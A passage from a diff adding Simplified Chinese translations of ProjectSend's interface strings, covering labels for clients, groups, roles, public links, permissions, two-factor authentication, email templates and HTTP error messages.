cannot be changed.": "内置角色的名称无法修改。", + "Built-in roles cannot be deleted.": "内置角色无法删除。", + "Call to action": "行动按钮", + "Cancel": "取消", + "Categories": "分类", + "Category": "分类", + "Category created.": "分类已创建。", + "Category deleted.": "分类已删除。", + "Category updated.": "分类已更新。", + "Changed their password": "修改了密码", + "Checkbox": "复选框", + "Checksum (SHA-256)": "校验和(SHA-256)", + "Choose": "选择", + "Choose :name": "选择:name", + "Choose an account…": "选择一个账户…", + "Choose File": "选择文件", + "Choose Image": "选择图片", + "Choose which notifications also send you an email. Everything always appears in the notification bell.": "选择哪些通知同时发送邮件。无论如何,所有通知都会出现在通知铃铛中。", + "Clear": "清除", + "Click to copy": "点击复制", + "Client": "客户", + "Client account approved": "客户账户已通过", + "Client account denied": "客户账户已拒绝", + "Client account edited": "客户账户已修改", + "Client Closed Request": "客户端关闭请求", + "Client created.": "客户已创建。", + "Client deleted.": "客户已删除。", + "Client Manager": "客户管理员", + "Client settings": "客户设置", + "Client updated.": "客户已更新。", + "Client welcome (staff-created account)": "客户欢迎信(由团队创建的账户)", + "Clients": "客户", + "Clients and groups that can download this file": "可以下载此文件的客户和群组", + "Clients asking to join groups": "申请加入群组的客户", + "Clients who registered themselves and are waiting for approval": "自行注册并等待审批的客户", + "Close": "关闭", + "Collapse": "收缩", + "Collapse All": "全部收缩", + "Color": "颜色", + "Columns": "列", + "Comment": "评论", + "Confirm": "确认", + "Confirm password": "确认密码", + "Conflict": "冲突", + "Connect": "连接", + "Connection Closed Without Response": "连接关闭无响应", + "Connection Timed Out": "连接超时", + "Continue": "继续请求", + "Copy URL": "复制网址", + "Copy link": "复制链接", + "Counters": "计数器", + "Create": "创建", + "Create :name": "创建 :name 个", + "Create a client account": "创建客户账户", + "Create a public link": "创建公开链接", + "Create a staff account for this installation": "为本站点创建团队账户", + "Create administrator account": "创建管理员账户", + "Create an account for someone you share files with": "为与你共享文件的人创建账户", + "Create categories": "创建分类", + "Create category": "创建分类", + "Create client": "创建客户", + "Create clients": "创建客户", + "Create custom assets": "创建自定义资源", + "Create field": "创建字段", + "Create folder": "创建文件夹", + "Create group": "创建群组", + "Create groups": "创建群组", + "Create link": "创建链接", + "Create own folders": "创建自己的文件夹", + "Create role": "创建角色", + "Create system users": "创建系统用户", + "Create user": "创建用户", + "Created": "已创建", + "Created a public link for the file \":subject\"": "为文件“:subject”创建了公开链接", + "Created by": "创建者", + "Created the account \":subject\"": "创建了账户“:subject”", + "Created the folder \":subject\"": "创建了文件夹“:subject”", + "Created the group \":subject\"": "创建了群组“:subject”", + "Created the role \":subject\"": "创建了角色“:subject”", + "Custom": "自定义", + "Custom assets": "自定义资源", + "Custom fields": "自定义字段", + "Custom links with an optional expiration date or download limit, no account needed.": "可自定义的链接,能设置到期日期或下载次数上限,且无需账户。", + "Custom roles let you grant a precise set of permissions": "自定义角色让你精确授予所需的权限组合", + "Custom SMTP": "自定义 SMTP", + "Customize the wording of any transactional email sent by this installation.": "自定义本站点发送的各类事务邮件的措辞。", + "Customized": "已自定义", + "Dark": "深色", + "Dashboard": "仪表板", + "Dashboard widgets": "仪表板小组件", + "Data retention and visibility for this installation": "本站点的数据保留与可见性", + "Database": "数据库", + "Date": "日期", + "Days before a denied membership request can be made again": "被拒绝的成员申请可再次提交前需等待的天数", + "Deactivate your account now; it is permanently erased after :days days": "立即停用你的账户;:days 天后将被彻底抹除", + "Deactivated the account \":subject\"": "停用了账户“:subject”", + "Default": "默认", + "Defaults to the file name.": "默认使用文件名。", + "Delete": "删除", + "Delete :name": "删除 :name 个", + "Delete account": "删除账户", + "Delete all": "全部删除", + "Delete all failed": "删除全部失败任务", + "Delete all failed jobs?": "删除所有失败的任务?", + "Delete categories": "删除分类", + "Delete category": "删除分类", + "Delete category?": "要删除该分类吗?", + "Delete client": "删除客户", + "Delete client?": "要删除该客户吗?", + "Delete clients": "删除客户", + "Delete custom assets": "删除自定义资源", + "Delete field": "删除字段", + "Delete field?": "要删除该字段吗?", + "Delete file": "删除文件", + "Delete file?": "要删除该文件吗?", + "Delete files": "删除文件", + "Delete folder": "删除文件夹", + "Delete folder?": "要删除该文件夹吗?", + "Delete group": "删除群组", + "Delete group?": "要删除该群组吗?", + "Delete groups": "删除群组", + "Delete others' files": "删除他人的文件", + "Delete own files": "删除自己的文件", + "Delete role": "删除角色", + "Delete role?": "要删除该角色吗?", + "Delete selected": "删除所选", + "Delete selected files?": "要删除所选文件吗?", + "Delete system users": "删除系统用户", + "Delete this file?": "要删除此文件吗?", + "Delete user": "删除用户", + "Delete user?": "要删除该用户吗?", + "Deleted account": "已删除的账户", + "Deleted the account \":name\"": "删除了账户“:name”", + "Deleted the file \":name\"": "删除了文件“:name”", + "Deleted the folder \":name\" and its contents": "删除了文件夹“:name”及其内容", + "Deleted the group \":name\"": "删除了群组“:name”", + "Deleted the orphan file \":name\"": "删除了孤立文件“:name”", + "Deleted the role \":name\"": "删除了角色“:name”", + "Denied the account request of \":name\"": "拒绝了“:name”的账户申请", + "Denied the membership of \":member\" to the group \":subject\"": "拒绝了“:member”加入群组“:subject”的申请", + "Deny": "拒绝", + "Deny this request?": "要拒绝此申请吗?", + "Description": "说明", + "Description (optional)": "说明(可选)", + "Detach": "分离", + "Details": "详情", + "Disable": "禁用", + "Disable two-factor authentication?": "要关闭两步验证吗?", + "Disabled two-factor authentication": "关闭了两步验证", + "Discard": "丢弃", + "Discourage search engines from indexing this site": "请求搜索引擎不要收录本站", + "Dismiss": "关闭", + "Documentation": "文档", + "Don't have an account?": "还没有账户?", + "Done": "完成", + "Down": "向下", + "Download": "下载", + "Download as zip": "打包为 ZIP 下载", + "Downloaded the file \":subject\"": "下载了文件“:subject”", + "Downloaded the file \":subject\" via a public link": "通过公开链接下载了文件“:subject”", + "Downloaded the file \":subject\" via the public group listing": "通过公开群组列表下载了文件“:subject”", + "Downloads": "下载", + "Downloads are never recorded with an IP address.": "下载记录中从不保存 IP 地址。", + "Drag to reorder": "拖动以调整顺序", + "Drag widgets here": "把小组件拖到这里", + "Dropdown": "下拉列表", + "Duplicate": "复制", + "Duplicate :name": "复制 :name", + "Edit": "编辑", + "Edit :name": "编辑:name", + "Edit categories": "编辑分类", + "Edit clients": "编辑客户", + "Edit custom assets": "编辑自定义资源", + "Edit email templates": "编辑邮件模板", + "Edit groups": "编辑群组", + "Edit others' files": "编辑他人的文件", + "Edit own files": "编辑自己的文件", + "Edit system settings": "编辑系统设置", + "Edit system users": "编辑系统用户", + "Edit this client account": "编辑此客户账户", + "Edit this staff account": "编辑此团队账户", + "Edition": "版本", + "Email": "邮箱", + "Email address": "邮箱地址", + "Email settings": "邮件设置", + "Email template reset to default.": "邮件模板已恢复为默认文案。", + "Email template saved.": "邮件模板已保存。", + "Email templates": "邮件模板", + "Empty file": "空文件", + "Enable": "启用", + "Enable the public directory page": "启用公开目录页", + "Enable two-factor authentication": "启用两步验证", + "Enabled two-factor authentication": "启用了两步验证", + "Encrypted environment file already exists.": "加密环境配置文件已存在。", + "Encrypted environment file not found.": "未找到加密环境配置文件。", + "Encryption": "加密", + "Enter one of your recovery codes.": "请输入你的任意一个恢复码。", + "Enter the six-digit code from your authenticator app.": "请输入验证器应用中的六位数字验证码。", + "Enter your email and password below to log in": "在下方输入邮箱和密码即可登录", + "Environment": "运行环境", + "Environment file already exists.": "环境配置文件已存在。", + "Environment file not found.": "未找到环境配置文件。", + "errors": "错误", + "Every comment on files you can see, newest first": "你可见文件的所有评论,最新在前", + "Every download records the IP address of whoever downloaded it.": "每次下载都会记录下载者的 IP 地址。", + "Everyone": "所有人", + "Everything that happened on this installation, newest first": "本站点发生的所有事情,最新在前", + "Expand": "展开", + "Expand All": "展开全部", + "Expectation Failed": "期望不满足", + "Expires": "到期时间", + "Expires :date": "于 :date 到期", + "Explanation": "解释", + "Export": "导出", + "Export :name": "导出 :name", + "Export CSV": "导出 CSV", + "External storage": "外部存储", + "Extra fields shown on the client create and edit screens.": "在创建和编辑客户的页面上显示的额外字段。", + "Failed Dependency": "失败的依赖", + "Failed to send: :error": "发送失败::error", + "File": "文件", + "File: :name": "文件::name", + "File deleted.": "文件已删除。", + "File imported.": "文件已导入。", + "File name": "文件名", + "File shared with a client": "共享给客户的文件", + "File updated.": "文件已更新。", + "File uploaded.": "文件已上传。", + "Files": "文件", + "Files can only be assigned to clients or groups.": "文件只能分配给客户或群组。", + "Files shared with you": "共享给你的文件", + "Files sitting on disk with no matching record — from an interrupted upload, a restore, or manual filesystem access.": "磁盘上没有对应数据库记录的文件——可能来自中断的上传、备份还原,或是手动操作文件系统。", + "Flat labels for files — independent of folders. A file can have several.": "文件的扁平标签,与文件夹无关。一个文件可以有多个。", + "Folder": "文件夹", + "Folder: :name": "文件夹::name", + "Folder created.": "文件夹已创建。", + "Folder deleted.": "文件夹已删除。", + "Folder shared with a client": "共享给客户的文件夹", + "Folders can only be shared with clients or groups.": "文件夹只能共享给客户或群组。", + "Folders cannot be nested more than :max levels deep.": "文件夹嵌套不能超过 :max 层。", + "Forbidden": "访问被拒绝", + "Forgot password?": "忘记密码?", + "Found": "临时移动", + "From": "发件人", + "From address": "发件人地址", + "From name": "发件人名称", + "Gateway Timeout": "网关超时", + "General": "常规", + "General settings": "常规设置", + "Go Home": "回首页", + "Go to page :page": "前往第 :page 页", + "Go to the login form": "前往登录页", + "Gone": "不可用", + "Gray": "灰色", + "Green": "绿色", + "Group": "群组", + "Group created.": "群组已创建。", + "Group deleted.": "群组已删除。", + "Group membership approved": "群组成员申请已通过", + "Group membership denied": "群组成员申请已拒绝", + "Group updated.": "群组已更新。", + "Groups": "群组", + "Groups clients can request to join at registration": "客户在注册时可申请加入的群组", + "Groups let you assign files to several clients at once": "使用群组可一次把文件分配给多个客户", + "Hello :name,": ":name,你好:", + "Hello, :name": "你好,:name", + "Hello!": "您好!", + "Here is what has been shared with you": "以下是共享给你的内容", + "Hide": "隐藏", + "Hide :name": "隐藏 :name", + "Home": "家", + "Host": "主机", + "How client accounts are created on this installation": "本站点创建客户账户的方式", + "How long a self-deleted account is kept before it is permanently erased.": "用户自行删除的账户在被彻底抹除前保留多久。", + "How many files/folders were shared at once": "一次共享了多少个文件或文件夹", + "HTTP Version Not Supported": "HTTP版本不支持", + "I'm a teapot": "我是一个茶壶", + "If this account is no longer available when an erasure runs, the files are deleted instead of being left ownerless.": "如果执行清除时该账户已不存在,这些文件将被删除,而不会失去归属。", + "If you did not create an account, no further action is required.": "如果您未注册帐号,请忽略此邮件。", + "If you did not request a password reset, no further action is required.": "如果您未申请重设密码,请忽略此邮件。", + "If you received this, your email configuration is working.": "如果你收到这封邮件,说明邮件配置正常。", + "If you're having trouble clicking the \":actionText\" button, copy and paste the URL below\ninto your web browser:": "如果您单击「:actionText」按钮时遇到问题,请复制下方链接到浏览器中访问:", + "IM Used": "IM已使用", + "Image": "图像", + "Impersonate": "模拟登录", + "Impersonation": "冒充", + "Import": "导入", + "Import :name": "导入 :name", + "Import orphan files": "导入孤立文件", + "Import selected": "导入所选", + "Imported the orphan file \":subject\"": "导入了孤立文件“:subject”", + "Inactive": "已停用", + "Include this file when a group it's shared with is public.": "当共享该文件的群组为公开时,一并公开此文件。", + "Insert": "插入", + "Installed ProjectSend": "安装了 ProjectSend", + "Insufficient Storage": "存储空间不足", + "Internal Server Error": "内部服务器错误", + "Introduction": "介绍", + "Invalid filename.": "无效的文件名。", + "Invalid JSON was returned from the route.": "从路由返回无效的 JSON。", + "Invalid SSL Certificate": "无效的SSL证书", + "Label": "标签", + "Last modified": "最后修改", + "Latest files": "最新文件", + "Leave": "退出", + "Leave empty for a link that never expires.": "留空表示链接永不过期。", + "Leave empty for unlimited downloads.": "留空表示下载次数不限。", + "Leave group": "退出群组", + "Leave this group?": "要退出此群组吗?", + "Left the group \":subject\"": "退出了群组“:subject”", + "length": "长度", + "Length Required": "长度要求", + "Library": "文件库", + "Light": "浅色", + "Like": "喜欢", + "Limit download counts": "限制下载次数", + "Limit to assigned clients": "仅限负责的客户", + "Limits for files uploaded to this installation": "上传到本站点的文件限制", + "Link unavailable": "链接不可用", + "Load": "加载", + "Loading…": "加载中…", + "Local storage": "本地存储", + "Localize": "本地化", + "Location": "地点", + "Locked": "锁定", + "Log in": "登录", + "Log In": "登录", + "Log in to your account": "登录你的账户", + "Log out": "退出登录", + "Log Out": "登出", + "Logged in": "登录了系统", + "Logged out": "退出了登录", + "Login": "登录", + "Logout": "登出", + "Loop Detected": "检测到环路", + "Mail provider settings saved.": "邮件服务商设置已保存。", + "Mailgun": "Mailgun", + "Maintenance Mode": "服务不可用", + "Manage custom fields": "管理自定义字段", + "Manage public links from the edit page.": "在编辑页面管理公开链接。", + "Manage system users and roles": "管理系统用户和角色", + "Manage updates": "管理更新", + "Manage your profile and account settings": "管理你的个人资料和账户设置", + "Mark all read": "全部标为已读", + "Mark as read": "标为已读", + "Mark as unread": "标为未读", + "Max downloads": "最多下载次数", + "Maximum file size (MB)": "文件大小上限(MB)", + "Member": "成员", + "Members": "成员", + "Members of this role only see files and folders belonging to the clients assigned to them, plus their own uploads.": "拥有此角色的人只能看到自己负责客户的文件和文件夹,以及自己上传的内容。", + "Membership request approved.": "成员申请已通过。", + "Membership request denied.": "成员申请已拒绝。", + "Membership requests": "成员申请", + "Membership requests are reviewed by an administrator": "成员申请由管理员审核", + "Method Not Allowed": "方法不允许", + "Minutes until the reset link expires": "重置链接的有效分钟数", + "Misdirected Request": "错误的请求", + "Modified": "修改时间", + "Moved Permanently": "已永久移动", + "Moved the folder \":subject\"": "移动了文件夹“:subject”", + "Multi-line text": "多行文本", + "Multi-Status": "多状态", + "Multiple Choices": "多种选择", + "Multiple files/folders shared at once (digest)": "一次共享多个文件或文件夹(摘要)", + "My files": "我的文件", + "My groups": "我的群组", + "Name": "名称", + "Name or description": "名称或说明", + "Name or email address": "姓名或邮箱地址", + "Never": "从不", + "Never expires": "永不过期", + "Network Authentication Required": "需要网络验证", + "Network Connect Timeout Error": "网络连接超时", + "Network Read Timeout Error": "网络读取超时", + "New": "新建", + "New :name": "新 :name", + "New category": "新建分类", + "New client": "新建客户", + "New client registrations and client uploads are sent here — at least one address is required.": "新客户注册和客户上传的通知会发送到这里,至少需要填写一个地址。", + "New field": "新建字段", + "New folder": "新建文件夹", + "New group": "新建群组", + "New membership request from :client for the group \":group\".": "收到 :client 申请加入群组“:group”。", + "New password (leave blank to keep current)": "新密码(留空表示保持不变)", + "New role": "新建角色", + "New user": "新建用户", + "News": "动态", + "Next": "下一页", + "No": "不", + "No activity matches these filters.": "没有符合这些筛选条件的操作记录。", + "No activity recorded yet.": "还没有任何操作记录。", + "No categories match your search.": "没有符合搜索条件的分类。", + "No categories yet.": "还没有分类。", + "No clients match these filters.": "没有符合这些筛选条件的客户。", + "No clients yet.": "还没有客户。", + "No comments match these filters.": "没有符合这些筛选条件的评论。", + "No Content": "无内容", + "No custom fields yet.": "还没有自定义字段。", + "No downloads recorded yet.": "还没有任何下载记录。", + "No fields match your search.": "没有符合搜索条件的字段。", + "No files have been shared with you yet.": "目前还没有文件共享给你。", + "No files here yet.": "这里还没有文件。", + "No files or folders match your search.": "没有符合搜索条件的文件或文件夹。", + "No files yet. Upload the first one.": "还没有文件,上传第一个吧。", + "No folder": "无文件夹", + "No groups match these filters.": "没有符合这些筛选条件的群组。", + "No groups yet.": "还没有群组。", + "No members yet.": "还没有成员。", + "No more categories": "没有更多分类", + "No more clients to add": "没有更多可添加的客户", + "No news yet.": "还没有动态。", + "No orphan files found.": "未发现孤立文件。", + "No orphan files match your search.": "没有符合搜索条件的孤立文件。", + "No pending requests.": "没有待处理的申请。", + "No public links yet.": "还没有公开链接。", + "No recipients added yet.": "还没有添加收件人。", + "No requests match your search.": "没有符合搜索条件的申请。", + "No roles match this filter.": "没有符合此筛选条件的角色。", + "No size limit. Uploads can be paused and resume automatically after interruptions.": "不限文件大小。上传可以暂停,中断后会自动续传。", + "No users match these filters.": "没有符合这些筛选条件的用户。", + "No users yet.": "还没有用户。", + "Nobody (optional for everyone)": "不要求任何人(所有人均可选)", + "Non-Authoritative Information": "非权威信息", + "None": "无", + "None of the selected items could be found.": "所选项目均未找到。", + "Not Acceptable": "无法接受", + "Not Extended": "未延期", + "Not Found": "页面不存在", + "Not Implemented": "未实现", + "Not Modified": "未修改", + "Not shared with anyone yet.": "尚未共享给任何人。", + "Notification settings": "通知设置", + "Notifications": "通知", + "Nothing is publicly shared yet.": "目前还没有公开共享的内容。", + "of": "于", + "OK": "确定", + "One option per line": "每行一个选项", + "Only clients can be group members.": "只有客户才能成为群组成员。", + "Only clients can comment here.": "只有客户可以在此评论。", + "Only for anonymous downloads": "仅限匿名下载", + "Only people who are signed in can comment here.": "只有已登录的人可以在此评论。", + "Only staff can comment here.": "只有团队成员可以在此评论。", + "Only the wording below is editable — any button or link in this email stays fixed.": "只有下方文案可以修改,邮件中的按钮和链接保持不变。", + "Open": "打开", + "Open folder": "打开文件夹", + "Open in a current window": "在当前窗口中打开", + "Open in a new window": "在新窗口中打开", + "Open in a parent frame": "在父框架中打开", + "Open in the topmost frame": "在最上面的框架中打开", + "Open on the website": "在网站上打开", + "Open public listing": "打开公开列表", + "Options": "选项", + "Or enter this key manually:": "或手动输入此密钥:", + "Orange": "橙色", + "Origin Is Unreachable": "原点无法到达", + "Outgoing email": "发出的邮件", + "Outgoing email theme": "发出邮件的主题", + "Page :current of :last": "第 :current 页,共 :last 页", + "Page Expired": "页面会话已超时", + "Pagination Navigation": "分页导航", + "Partial Content": "部分内容", + "Password": "密码", + "Password reset": "重置密码", + "Path": "路径", + "Payload Too Large": "请求实体过大", + "Payment Required": "需要付款", + "Pending approval": "等待审批", + "Permanent Redirect": "永久重定向", + "Permanently erased a deleted account": "彻底抹除了一个已删除的账户", + "Permissions": "权限", + "Pink": "粉色", + "Platform": "平台", + "Please click the button below to verify your email address.": "请点击下面按钮验证您的 E-mail:", + "Port": "端口", + "Postmark": "Postmark", + "Powered by ProjectSend": "由 ProjectSend 提供支持", + "Precondition Failed": "前提条件未满足", + "Precondition Required": "前提要求", + "Preparing your download…": "正在准备下载…", + "Preview": "预览", + "Preview: :theme": "预览::theme", + "Previous": "上一页", + "Price": "价格", + "Privacy": "隐私", + "Privacy settings": "隐私设置", + "Private": "私密", + "Processing": "处理中", + "Profile": "个人资料", + "Profile information was updated": "个人资料已更新", + "ProjectSend :latestVersion is available (you have :currentVersion)": "ProjectSend :latestVersion 已发布(你当前是 :currentVersion)", + "ProjectSend is free, open source software for sending files to your clients. It is released under the :license, which means you are free to use, study, change and share it.": "ProjectSend 是一款自由开源软件,用于向你的客户发送文件。它以 :license 发布,这意味着你可以自由地使用、研究、修改和分享它。", + "ProjectSend is ready": "ProjectSend 已就绪", + "ProjectSend was installed": "ProjectSend 已安装", + "Provider": "服务商", + "Proxy Authentication Required": "需要代理验证", + "Public": "公开", + "Public file": "公开文件", + "Public files": "公开文件", + "Public group": "公开群组", + "Public group listing": "公开群组列表", + "Public groups": "公开群组", + "Public link": "公开链接", + "Public link created.": "公开链接已创建。", + "Public link revoked.": "公开链接已吊销。", + "Public links": "公开链接", + "Public listing": "公开列表", + "Public listing settings": "公开列表设置", + "Public listing URL": "公开列表网址", + "Public pages & portal": "公开页面与门户", + "Public pages and client portal theme": "公开页面和客户门户的主题", + "Published": "发布时间", + "Purple": "紫色", + "Quota": "配额", + "Railgun Error": "轨道炮错误", + "Range Not Satisfiable": "请求范围不符合", + "Read more": "阅读更多", + "Reassign them to": "转交给", + "Recent activity": "最近动态", + "Recipient": "收件人", + "Record": "记录", + "Record IP addresses for downloads": "记录下载的 IP 地址", + "Recovery code": "恢复码", + "Red": "红色", + "Regards,": "致敬,", + "Regenerate recovery codes": "重新生成恢复码", + "Regenerate recovery codes?": "要重新生成恢复码吗?", + "Regenerated two-factor recovery codes": "重新生成了两步验证的恢复码", + "Register": "注册", + "Register to access the files shared with you.": "注册后即可访问共享给你的文件。", + "Register to request access. An administrator will review your request.": "注册以申请访问权限。管理员会审核你的申请。", + "Registered a new client account": "注册了新的客户账户", + "Related": "相关", + "Remember me": "记住我", + "Remove": "移除", + "Removed \":member\" from the group \":subject\"": "把“:member”移出了群组“:subject”", + "Removed the file \":subject\" from :target": "取消了 :target 对文件“:subject”的访问", + "Rename": "重命名", + "Renamed the folder \":subject\"": "重命名了文件夹“:subject”", + "Repository": "代码仓库", + "Request declined": "申请被拒绝", + "Request Header Fields Too Large": "请求标头字段太大", + "Request membership": "申请加入", + "Request membership to groups (optional)": "申请加入群组(可选)", + "Request Timeout": "请求超时", + "Requested": "申请时间", + "Requested membership to the group \":subject\"": "申请加入群组“:subject”", + "Requested memberships wait in the membership requests queue for approval.": "提交的加入申请会在成员申请列表中等待审批。", + "Require two-factor authentication": "强制启用两步验证", + "Required": "必填", + "Reset Content": "重置内容", + "Reset Password": "重置密码", + "Reset Password Notification": "重置密码通知", + "Reset this email to its default wording?": "要把这封邮件恢复为默认文案吗?", + "Reset to default": "恢复默认", + "Restore": "恢复", + "Restore :name": "恢复:name", + "Restricted extension": "受限扩展名", + "Result": "结果", + "results": "结果", + "Review membership requests": "审核成员申请", + "Review pending requests": "查看待处理的申请", + "Retry With": "重试", + "Revoke": "吊销", + "Revoke link": "吊销链接", + "Revoke this public link?": "要吊销此公开链接吗?", + "Revoked a public link for the file \":subject\"": "吊销了文件“:subject”的公开链接", + "Role": "角色", + "Role created.": "角色已创建。", + "Role deleted.": "角色已删除。", + "Role name": "角色名称", + "Role updated.": "角色已更新。", + "Roles": "角色", + "Sample email": "示例邮件", + "Save": "保存", + "Save :name": "保存 :name", + "Save & Close": "保存并关闭", + "Save & Return": "保存并返回", + "Save your changes to make this live — until then, these buttons point to a page that isn't published yet.": "保存更改后才会生效;在此之前,这些按钮指向的页面尚未发布。", + "Saved": "已保存", + "Scan this QR code with your authenticator app, then enter the six-digit code to confirm.": "用验证器应用扫描此二维码,然后输入六位数字验证码进行确认。", + "Scanning:": "正在扫描:", + "Scheduled tasks": "计划任务", + "Search": "搜索", + "Search :name": "搜索 :name", + "Search all files and folders": "搜索所有文件和文件夹", + "Search by client or group": "按客户或群组搜索", + "Search by name": "按名称搜索", + "Search by name or email address": "按姓名或邮箱地址搜索", + "Search by path": "按路径搜索", + "Search categories": "搜索分类", + "Search fields": "搜索字段", + "Search your files": "搜索你的文件", + "Security": "安全", + "Security settings": "安全设置", + "See Other": "见其他", + "Select": "选择", + "Select :name": "选择 :name", + "Select a client or group": "选择客户或群组", + "Select a client to add": "选择要添加的客户", + "Select a role": "选择角色", + "Select All": "全选", + "Select an option": "请选择", + "Select at least one file or folder.": "请至少选择一个文件或文件夹。", + "Self-registered clients join this group automatically.": "自行注册的客户会自动加入此群组。", + "Send": "发送", + "Send email notifications": "发送邮件通知", + "Send test email": "发送测试邮件", + "SendGrid": "SendGrid", + "Sends a real email right now, bypassing the queue, so you can verify the settings above actually work.": "立即绕过队列发送一封真实邮件,便于你确认上面的设置确实可用。", + "Separate paragraphs with a blank line.": "段落之间用空行分隔。", + "Server Error": "服务器错误", + "Service Unavailable": "服务不可用", + "Session Has Expired": "会话已过期", + "Set file expiration dates": "设置文件到期日期", + "Set to 0 for no limit. Available disk space still applies.": "设为 0 表示不限。可用磁盘空间仍然有效。", + "Set to 0 to allow requesting again immediately.": "设为 0 表示可立即重新提交申请。", + "Set up ProjectSend": "设置 ProjectSend", + "Settings": "设置", + "Settings that apply to the whole installation": "适用于整个站点的设置", + "Setup complete": "设置完成", + "Share a file with the people who manage your account.": "把文件共享给管理你账户的人。", + "Share files with several clients at once": "一次把文件共享给多个客户", + "Shared the folder \":subject\" with :target": "把文件夹“:subject”共享给了 :target", + "Shared with": "共享给", + "Shared with :count": "已共享给 :count", + "Sharing": "共享", + "Sharing a folder shares everything inside it, now and later": "共享文件夹即共享其中的全部内容,现在和以后添加的都包括在内", + "Show": "显示", + "Show :name": "显示 :name", + "Show All": "显示所有", + "Showing": "显示中", + "Showing matches from across your library": "以下是整个文件库中的匹配结果", + "Showing matches from everything shared with you": "以下是所有共享给你的内容中的匹配结果", + "Shown across the application and to your clients.": "会显示在应用各处以及客户端。", + "Shows a registration form on the login screen.": "在登录页面显示注册表单。", + "Sign In": "登入", + "Sign up": "注册", + "Site name": "站点名称", + "Size": "大小", + "Skip the IP address when the downloader is a signed-in account — their identity is already known.": "下载者为已登录账户时不记录 IP 地址——其身份本就已知。", + "SMTP configuration": "SMTP 配置", + "Source code": "源代码", + "Special public links": "特殊公开链接", + "Solve": "解决", + "Something went wrong. Please try again.": "出了点问题,请重试。", + "SSL": "SSL", + "SSL Handshake Failed": "SSL握手失败", + "Staff": "团队", + "Start": "开始", + "Status": "状态", + "Stop": "停止", + "Stopped sharing the folder \":subject\" with :target": "取消了与 :target 共享文件夹“:subject”", + "Storage": "存储", + "Storage free": "剩余空间", + "Storage quota (MB)": "存储配额(MB)", + "Storage used": "已用空间", + "Store these recovery codes somewhere safe. Each one can be used once if you lose access to your authenticator app.": "请把这些恢复码保存在安全的地方。若无法使用验证器应用,每个恢复码可使用一次。", + "Subfolders": "子文件夹", + "Subject": "主题", + "Submit": "提交", + "Subscribe": "订阅", + "Success: test email sent to :email via :hostport.": "成功:已通过 :hostport 向 :email 发送测试邮件。", + "Support the project": "支持本项目", + "Switch": "切换", + "Switch To Role": "切换角色", + "Switching Protocols": "切换协议", + "System": "系统", + "System Administrator": "系统管理员", + "System settings": "系统设置", + "System settings were updated": "系统设置已更新", + "System users": "系统用户", + "Tag": "标签", + "Tags": "标签", + "Temporary Redirect": "临时重定向", + "Test": "测试", + "Text": "文本", + "Text or author": "内容或作者", + "The account of :name will be permanently deleted. This cannot be undone.": ":name 的账户将被永久删除,此操作无法撤销。", + "The account password was changed": "账户密码已修改", + "The account request of :name will be denied and the account deleted.": ":name 的账户申请将被拒绝,账户也会被删除。", + "The administrator account was created successfully.": "管理员账户创建成功。", + "The administrator role always has every permission and cannot be edited.": "管理员角色始终拥有全部权限,且无法编辑。", + "The base URL segment for public group pages, e.g. :url": "公开群组页面的基础网址片段,例如 :url", + "The category \":name\" will be removed from all its files. The files themselves are not deleted.": "分类“:name”将从其所有文件上移除,文件本身不会被删除。", + "The client's email address": "客户的邮箱地址", + "The client's name": "客户的姓名", + "The clients this group shares files with": "此群组共享文件的客户", + "The field \":name\" and all its stored values will be permanently deleted.": "字段“:name”及其中保存的所有值都将被永久删除。", + "The file \":file\" was uploaded by :client.": "文件“:file”由 :client 上传。", + "The file \":name\" has been shared with you.": "文件“:name”已共享给你。", + "The file \":name\" will no longer be available to anyone it was shared with.": "文件“:name”将不再对任何已共享的人开放。", + "The file name": "文件名", + "The file or folder name": "文件或文件夹的名称", + "The file will be permanently removed from disk. This cannot be undone.": "文件将从磁盘上永久删除,此操作无法撤销。", + "The files of a public group can be browsed by anyone with the link, without logging in.": "公开群组中的文件,任何拿到链接的人都能浏览,无需登录。", + "The files shared with you": "共享给你的文件", + "The folder \":name\" and everything inside it will be deleted. This can be undone by an administrator.": "文件夹“:name”及其中所有内容都将被删除。管理员可以撤销此操作。", + "The following :count items have been shared with you:": "以下 :count 个项目已共享给你:", + "The folder \":name\" has been shared with you.": "文件夹“:name”已共享给你。", + "The given data was invalid.": "给定的数据无效。", + "The group \":name\" will be deleted. Its clients keep their accounts.": "群组“:name”将被删除,其中客户的账户会保留。", + "The group name": "群组名称", + "The groups you belong to and the ones you can ask to join": "你所在的群组,以及你可以申请加入的群组", + "The header/footer style used for every outgoing notification email.": "每封发出的通知邮件所使用的页眉和页脚样式。", + "The look of the guest public pages, the client portal, and outgoing notification emails.": "访客公开页面、客户门户以及发出的通知邮件的外观。", + "The mail server itself is configured in this installation’s .env file (MAIL_* variables), not here.": "邮件服务器本身在本站点的 .env 文件中配置(MAIL_* 变量),而不是在这里。", + "The people who administer this installation and upload files": "管理本站点并上传文件的人", + "The people you share files with": "与你共享文件的人", + "The provided two-factor authentication code was invalid.": "输入的两步验证码无效。", + "The release this installation is running, and where it comes from.": "此安装正在运行的版本,以及它的来源。", + "The response is not a streamed response.": "该响应不是流式响应。", + "The response is not a view.": "响应不是视图。", + "The role \":name\" will be permanently deleted. This cannot be undone.": "角色“:name”将被永久删除,此操作无法撤销。", + "The selected folders are empty.": "所选文件夹为空。", + "The uploading client's name": "上传文件的客户姓名", + "Their account is waiting for approval.": "该账户正在等待审批。", + "There is nothing to configure yet.": "暂时没有可配置的内容。", + "Test email from :site": "来自 :site 的测试邮件", + "These files will be permanently removed from disk. This cannot be undone.": "这些文件将从磁盘上永久删除,此操作无法撤销。", + "Theme": "主题", + "Theme updated.": "主题已更新。", + "Theming": "主题", + "Theming settings": "主题设置", + "This action is unauthorized.": "此操作未经授权。", + "This file exceeds the maximum allowed size of :max MB.": "此文件超过了 :max MB 的大小上限。", + "This folder is empty.": "此文件夹为空。", + "This installation has no administrator yet. Create the first one to get started.": "本站点还没有管理员。创建第一个管理员即可开始。", + "This is a built-in role; its scope can't be changed.": "这是内置角色,其适用范围无法修改。", + "This is a preview of the :theme email theme.": "这是邮件主题 :theme 的预览。", + "This is a sample email — no notification was actually sent.": "这是一封示例邮件,并未真正发送任何通知。", + "This is a test email from :site.": "这是一封来自 :site 的测试邮件。", + "This is the last active administrator account.": "这是最后一个仍然启用的管理员账户。", + "This link cannot match the file's own public URL slug.": "此链接不能与该文件自身的公开网址别名相同。", + "This link doesn't exist or has been revoked.": "此链接不存在或已被吊销。", + "This link has expired.": "此链接已过期。", + "This link has reached its download limit.": "此链接已达到下载次数上限。", + "This password reset link will expire in :count minutes.": "这个重设密码链接将会在 :count 分钟后失效。", + "This permanently removes every failed job from the list without retrying any of them. This 